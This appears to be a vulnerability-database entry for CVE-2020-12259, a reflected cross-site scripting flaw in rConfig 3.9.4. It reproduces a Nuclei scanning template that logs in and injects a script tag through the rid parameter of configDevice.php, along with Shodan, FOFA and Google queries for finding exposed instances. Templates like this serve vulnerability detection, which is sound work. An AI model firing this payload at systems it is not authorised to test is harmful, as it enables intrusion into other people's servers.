CVE-2020-12259: rConfig 3.9.4 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: rConfig | POC: 已公开

漏洞描述

rConfig 3.9.4 is vulnerable to reflected XSS. The configDevice.php file improperly validates user input. An attacker can exploit this vulnerability by crafting arbitrary JavaScript in the rid GET parameter of devicemgmnt.php

PoC代码[已公开]

id: CVE-2020-12259

info:
  name: rConfig 3.9.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    rConfig 3.9.4 is vulnerable to reflected XSS. The configDevice.php file improperly validates user input. An attacker can exploit this vulnerability by crafting arbitrary JavaScript in the rid GET parameter of devicemgmnt.php
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://gist.github.com/farid007/8855031bad0e497264e4879efb5bc9f8
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12259
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-12259
    cwe-id: CWE-79
    epss-score: 0.65806
    epss-percentile: 0.98461
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2020,cve,rconfig,authenticated,xss

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /configDevice.php?rid="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management")'
          - 'contains(content_type_3, "text/html")'
        condition: and
# digest: 4a0a0047304502202070a387486324c7327ec747b2c13d36875bebcfe00cb7aa6aabf8e3fd8ca4bf0221008a6ceeacf758bb5fb08f69b9a29881a3dd7546aed25d8bf45290c4bdf757d10a:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12259.yaml

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